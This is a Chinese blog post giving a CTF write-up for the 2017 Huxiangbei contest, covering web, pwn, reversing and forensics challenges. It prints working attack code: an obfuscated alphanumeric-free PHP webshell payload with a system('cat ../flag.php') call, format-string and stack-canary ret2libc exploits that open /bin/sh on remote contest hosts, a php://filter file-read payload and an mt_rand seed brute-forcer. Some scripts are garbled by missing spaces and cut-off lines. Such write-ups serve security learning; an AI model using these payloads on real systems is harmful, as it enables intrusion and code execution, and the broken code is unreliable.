一日一文(8)

原创

Mr_BeanX 于 2017-11-26 22:52:46 发布 390 收藏
分类专栏： 一日一文

本文链接：https://blog.csdn.net/Neu_webin/article/details/78637678
版权

一日一文 专栏收录该内容
18 篇文章 0 订阅
订阅专栏

听说了很多的大牛的成长历程都从写自己的博客开始

虽然很久之前就开了博客但是没有坚持下去，让自己养成这样的习惯。学着写博客、学着分享。

每天尽量发一篇文章、其他学习文章随着学习进度慢慢写

今天还是有点累，没有多学什么东西，简单的吧昨天湖湘杯writeup发出来分享一下吧~

简单评价一下这次湖湘杯。。让人感觉有点难受，不说初赛时候60秒一道选择题。

复赛晚上十点结束还要4个小时内交writeup。。反正时间安排上感觉不是很友好

并且复赛题目emmmm原题占大多数，因此相对而言比较容易，但有些题目还是很经典的

1、 题目名Web300

思路：代码审计发现要求上传的payload不能含有数字和字符，参考https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

可以构造相应的payload

这里我们构造了一个assert($_GET[_]);

将构造好的payload上传

```
$_=[];

$_=''.[];

$_=$_['_'=='__'];

$___=$_;

$__=$_;

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__

$___.=$__;

$___.=$__;

$__=$_;
```

```
$__++;$__++;$__++;$__++;
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__
$___.=$__;


$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;
$____.=$__;
$__=$_;


$__++;$__++;$__++;$__++;
$____.=$__;
$__=$_;


$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__
$____.=$__;


$_=$$____;
$___($_[_]);
```

之后?_=system(‘cat ../flag.php’); 查看源码就有flag

2、 题目名 Encryptor.apk

将apk拖到apktool反编译

其实直接逆向可以查看java代码

分析一下代码逻辑就是获取输入的密码（默认是Password），然后md5处理，接着读取文件，调用encryptbyte函数功能就是将文件按字节与md5处理后的Password异或。于是乎写出逆算法就很简单了

exp.py

```
f=open('flag.encrypted','rb')

fcon=f.read()

def xor(text,hash):

    flag=''

    fori in range(0,len(text)):

        flag+= chr(ord(text[i])^hash)

    returnflag



fo=open('flag.decrypt','w')

fo.write(xor(fcon,0xdc647eb65e6711e155375218212b3964))
```

最后得到flag flag{all_encryption_is_equal_but_some_are_More_equal_than_others}

3、 题目名 热身运动

这个题目和实验吧上的一个题目很像，根据每一帧的位置，联想base64可以得到

B5 G4 B2 B4 B5 H2 E3 B2 F5 F8 E1 B2 F7 F6F1 G4 F5 G6 B1 G3 G5 H6 E2

25 38 49 33 25 55 44 49 29 5 60 49 13 21 61 38 29 22 57 46 30 23 52

ZmxhZ3sxdF8xNV9mdW5ueX0

正确padding一下base64解码得到flag 'flag{1t_15_funny}'

4、 题目名 Misc 300

这道题目应该是pragyan-ctf-2016的原题，题目描述都没有，上来就丢一个pixels.jpg.pkl。。原题描述是who-made-me

于是乎跑脚本

```
import pickle

from PIL import Image


with open('pixels.jpg.pkl') as f:

        data= pickle.loads(f.read().encode('utf8'))


white_pixels = [(int(e[0]), int(e[1])) fore in data[1:]]

width = max([p[0] for p in white_pixels]) + 10

height = max([p[1] for p in white_pixels])+ 10


image = Image.new('1', (width, height), 0)

pixels = image.load()


for pixel in white_pixels:

        pixels[pixel[0],pixel[1]] = 255


image.show()
```

出来一个图片，动画人物'Calvin and Hobbes'的作者是'Bill Watterson' flag billwatterson

5、 题目名 pwne

这道题很明显是一个格式化字符串漏洞：

可以利用的函数

```
read(0, &buf, 64u);

printf(&buf);
```

可以leak栈地址，然后通过格式化字符串漏洞，写atoi的got表地址从而发送/bin/sh

Exp关键部分

```
cv("[Y/N]")

sd("Y")

cv("NAME:")

sd("%p===%p+++%35$p---")

cv("WELCOME")
```

```
leakstack=cv("===")
cv("+++")
leaklibc=cv("---")
base = leaklibc -offset___libc_start_main_ret
system = base + offset_system
system = libc['system']
system_h = system&0xffff0000
system_l = system&0x0000ffff
system_h=system_h >> 16
atoi_got=0x804A02C
cv("AGE:")
padding="\00"*32
pay="90\00\00"+padding+p32(atoi_got)+p32(atoi_got+2)
sd(pay)
cv("[Y/N]")
sd("Y")
cv("NAME")
payload="%{systeml}c%16$hn%{systemh}c%17$hn".format(systeml=system_l,systemh=system_h-system_l)
sd(payload)
cv("AGE")
sd("/bin/sh\00")
cat flag
#52c12be949d88c14ccbe29d8733434c9
p.interactive()
```

6、 题目名 pwns

大致看一下题目可以判断出先泄露stack canary，之后泄露libc。

```
#coding = utf-8
#code for pwns
from base64 import*
```

```
context.log_level= "debug"

local=False

name ="pwns"


if local:

    p = process(name)

else:

    p = remote("114.215.128.141 ",10080)


def sd(cont):

       p.sendline(cont)

def cv(cont):

       return p.recvuntil(cont)


if local:

       offset___libc_start_main_ret = 0x18637

       offset_system = 0x0003ada0

       offset_dup2 = 0x000d6300

       offset_read = 0x000d5af0

       offset_write = 0x000d5b60

       offset_str_bin_sh = 0x15b9ab


else:

       offset___libc_start_main_ret = 0x19af3

       offset_system = 0x00040310

       offset_read = 0x000dd3c0

       offset_write = 0x000dd440

       offset_str_bin_sh = 0x162cec



defsenddata(payload, ath = False, final = False):
       cv("[Y/N]")
       sd("Y")
       cv("datas:\n\n")
       if ath:
           attach()
       p.send(b64encode(payload))
       if not final:
           cv("Result is:")
           data = p.recvuntil("May bel",drop = True)
           return data
       else:
           return

def getcanary():
       slen = 0x10d - 0xc
       payload = 'a' * slen
       data = senddata(payload + 'a')
       canary = data[258:261]
       return canary

def getlibc():
       slen = 0x10d - 0xc + 0x50
       payload = 'a' * slen
       data = senddata(payload)
       leak = data[0x151:0x151 + 4]
       return leak

canary = u32("\x00" +getcanary())
print "canary: ", hex(canary)
leak = u32(getlibc())
print "leak: ", hex(leak)
```

```
system_addr = leak -offset___libc_start_main_ret + offset_system

binsh_addr = leak -offset___libc_start_main_ret + offset_str_bin_sh

payload = 'a' * 0x101 + p32(canary) +p32(0xdeadbeef)*3 + p32(system_addr) + p32(0xdeadbeef) + p32(binsh_addr)

senddata(payload,final = True)

p.interactive()
```

7、 题目名 pyc分析

首先搜一下站长工具pyc反编译

```
#!/usr/bin/env python

# encoding: utf-8

bbbb = (lambda __g, __y: continue[ [ [ [ [[ [ (fin.close(), [ [ ([], [])(((lambda __items, __after, __sentinel: (None,None, None, __y)((lambda __this: (lambda : (lambda __i: if __i is not__sentinel:

continue[ (ss.append(c), (sss.append(0),__this())[1])[1] for None in [

__i] ][0]None())(next(__items, __sentinel))

)

))()

), iter(s)), (lambda : continue[ [ (lambda__items, __after, __sentinel: (None, None, None, __y)((lambda __this: (lambda :(lambda __i: if __i is not __sentinel:

continue[ (lambda __value: continue[__this() for None in [

(lambda __ret: if __ret is NotImplemented:

__g['sssss'] +__value)(getattr(__g['sssss'], '__iadd__', (lambda other:NotImplemented))(__value))] ][0]

)(chr(c)) for None in [

                                __i] ][0]

                        return None()

)(next(__items, __sentinel))

)

))()

)((iter(ssss),), (lambda : continue[(fout.write(sssss), (fout.close(), None)[1])[1] for None in [

open('key.enc', 'wb+')] ][0]), []) for Nonein [

           ''] ][0] for None in [
            encode(ss, sss)] ][0]
), []) for None in [
        []] ][0] for None in [
        []] ][0])[1] for None in [
        fin.read().strip()] ][0] for None in [
        open('key.txt', 'r')] ][0] for None in [
        ((lambda data, buf: (lambda __l: continue[ [ ([], [])(((lambda __items,__after, __sentinel: (None, None, None, __y)((lambda __this: (lambda : (lambda__i: if __i is not __sentinel:
continue[ [ __this() for None in [
table.index(__l['data'][__l['i']]) + 1]][0] for None in [
__i] ][0]None())(next(__items, __sentinel))
)
))()
), iter(xrange(__l['_len']))), (lambda :(lambda __items, __after, __sentinel: (None, None, None, __y)((lambda __this:(lambda : (lambda __i: if __i is not __sentinel:
continue[ [ [ __this() for None in [
setbit(__l['buf'], __l['i'],getbit(__l['data'], __l['j']))] ][0] for None in [
(__l['i'] / 6) * 8 + __l['i'] % 6] ][0] forNone in [
__i] ][0]None())(next(__items, __sentinel))
)
))()
)((iter(xrange(__l['_len'] * 6)),), (lambda: __l['buf']), [])
), []) for None in [
                len(__l['data'])] ][0] forNone in [
               (data, buf)] ][0]
)({ })
), 'encode')] ][0] for None in [
        ((lambda p, pos: (lambda __l: continue[ [ [ __l['p'][__l['cpos']]>> __l['bpos'] & 1 for None in [
__l['pos'] % 8] ][0] for None in [
__l['pos'] / 8] ][0] for None in [
(p, pos)] ][0])({ })
), 'getbit')] ][0] for None in [
    ((lambda p, pos, value: (lambda __l: continue[ [ [ (lambda __target,__slice, __value: continue[ (lambda __target, __slice, __value: continue[__l['p'] for None in [

(lambda __old: (lambda __ret: if __ret isNotImplemented:

__old | __value)(getattr(__old, '__ior__',(lambda other: NotImplemented))(__value))

)(__target[__slice])] ][0]

)(__l['p'], __l['cpos'], __l['value']<< __l['bpos']) for None in [

            (lambda __old: (lambda__ret: if __ret is NotImplemented:

__old & __value)(getattr(__old,'__iand__', (lambda other: NotImplemented))(__value))

)(__target[__slice])] ][0]

)(__l['p'], __l['cpos'], ~(1 <<__l['bpos'])) for None in [

          __l['pos'] % 8] ][0] forNone in [

          __l['pos'] / 8] ][0] for Nonein [

          (p, pos, value)] ][0]

)({ })

), 'setbit')] ][0] for None in [

    string.printable.strip()] ][0] for None in [

    __import__('string', __g, __g)] ][0]

)(globals(), (lambda f: ((lambda x:x(x)),)((lambda y: (f,)((lambda : y(y)()))

))

))
```

得到这些python源码，看了一下应该是XDCTF2015的reverse

然后分析一下其中算法写出exp.py

注意其中要将定义好的全局变量i和table添加到脚本当中跑出来的是key。。。真是无语，不是说好了flag形式么。。

```
i = 654

table ='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'


def tobin(b):

    ret=''

    fori in [128,64,32,16,8,4,2,1]:

        ret+= '1' if b&i else '0'
    returnret

def decode3b(s):
    a= s >> 16
    b= (s >> 8) & 0xFF
    c= s & 0xFF
    sa= tobin(a)
    sb= tobin(b)
    sc= tobin(c)
    returntable[int(sa[2:],2)]+table[int(sb[4:]+sa[:2],2)]+table[int(sc[6:]+sb[:4],2)]+table[int(sc[:6],2)]

a = open('key.enc','rb')
a = a.read()
s="
for i in xrange(0,len(a),3):
    s+=decode3b(int(a[i:i+3].encode('hex'),16))

print s

s=".join(map(lambda c:table[(table.index(c)+63)%64],s))
print s
#hhhhhqqqqKeyd9733c070b2138e5fsssfffffff''''''''''''''''''''''''
```

然后查看table[64]对应的{‘d’->’:’}于是乎最后key: 9733c070b2138e5f

8、 题目名 random

首先查看到网络备份信息.index.php.swp最初的时候应该是htaccess配置问题导致备份文件无法查看，后来调整之后可以看到源码了

Index.php

```
<?php
error_reporting(0);
```

```
$flag = "*********************";

echo "please input a rand_num !";

function create_password($pw_length =  10){

        $randpwd= "";

        for($i = 0; $i < $pw_length; $i++){

                $randpwd.= chr(mt_rand(100, 200));

        }

        return$randpwd;

}


session_start();


mt_srand(time());


$pwd=create_password();


echo $pwd.'||';


if($pwd == $_GET['pwd']){

    echo "first";

    if($_SESSION['userLogin']==$_GET['login'])

            echo "Nice , you get the flag it is".$flag ;

}else{

        echo"Wrong!";

}


$_SESSION['userLogin']=create_password(32).rand();


?>
```

发现其实就是爆破一下pwd然后提交就可以了

写一个php脚本本地执行一下

Exp.php

```
<?php

function create_password($pw_length =  10)
{
   $randpwd = "";
   for ($i = 0; $i < $pw_length; $i++)
    {
       $randpwd .= chr(mt_rand(100,200));
    }
   return $randpwd;
}
session_start();

for($i=time()-10;$i<time()+10;$i++)
{
   mt_srand($i);
   $pwd=create_password();
   $curl=file_get_contents("http://114.215.138.89:10080/index.php?pwd=$pwd&login=");
   echo $curl.'<br>';
}

?>
```

9、 题目名 web200

题目本意应该是文件上传吧。。

首先扫后台看见存在flag.php

但是应该出现了未知错误导致直接文件包含就可以，利用PHP伪协议

构造payload ?op=php://filter/read=convert.base64-encode/resource=flag

Base64解码就出来了

```
>>>
'PD9waHAgCiRmbGFnPSJmbGFne2M0MjBmYjQwNTRlOTE5NDRhNzFmZjY4ZjcwNzliOTQyNGU1Y2JhMjF9l
```

```
'<?php\n$flag="flag{c420fb4054H91944a71ff68f7079b9424e5cba21}\x96; \n?>\n'
```

10、　　题目名 Re4newer

这是一道非常简单的但是脑洞非常大的题目。。

直接upx脱壳，丢到ida中分析一下很明显看到代码逻辑，印象里大致是对输入字符串要求44位，然后每位异或0x22与指定字符串对比，写出exp.py

得到一个很奇怪的字符串。。先进行了一下各种古典加密操作，感觉还是乱码还以为自己这么简单的题目还会写错。。结果经过队友提醒，逆序一下看见了flag，四位一组组成自己能理解能认识的句子。。这种题目确实没什么好感。

```
text1=
[0x13,0x4A,0x76,0x59,0x45,0x43,0x4E,0x44,0x52,0x4F,0x4B,0x51,0x54,0x7D,0x63,0x7D,0x5F,0x56,0x13,0x7D,

flag=''



for i in range(0,43):

    flag+= chr(text1[i]^0x22)

print flag

#1hT{galfpmisv_A_}t1_EERRR_elSi_sSsAp_u_E_yr3

'''

flag

{Th1

s_iS

_A_v

3ry_

simp

le_R

RREE

E_u_

pAsS

_1t}

'''
```

```
#flag{Th1s_iS_A_v3ry_simple_RRREEE_u_pAsS_1t}
```

11、　题目名 简单的android

Apktool直接解一下就出来了，明文字符串比较。。

12、　题目名 流量分析

拖到wireshark查看对象，分析http对象的时候发现了zip文件，导出解压缩是个ce.txt很明显是rgb

写一个python脚本跑一下出来一张图片

Exp.py

```
from PIL import Image
import re
import os
print os.getcwd()
x = 887
y = 111
image = Image.new("RGB",(x,y))
f = open('ce.txt')
for i in range(0,x):
  for j in range(0,y):
      l = f.readline()
      r = l.split(", ")
      image.putpixel((i,j),(int(r[0]),int(r[1]),int(r[2])))
image.save('image1.jpg')
```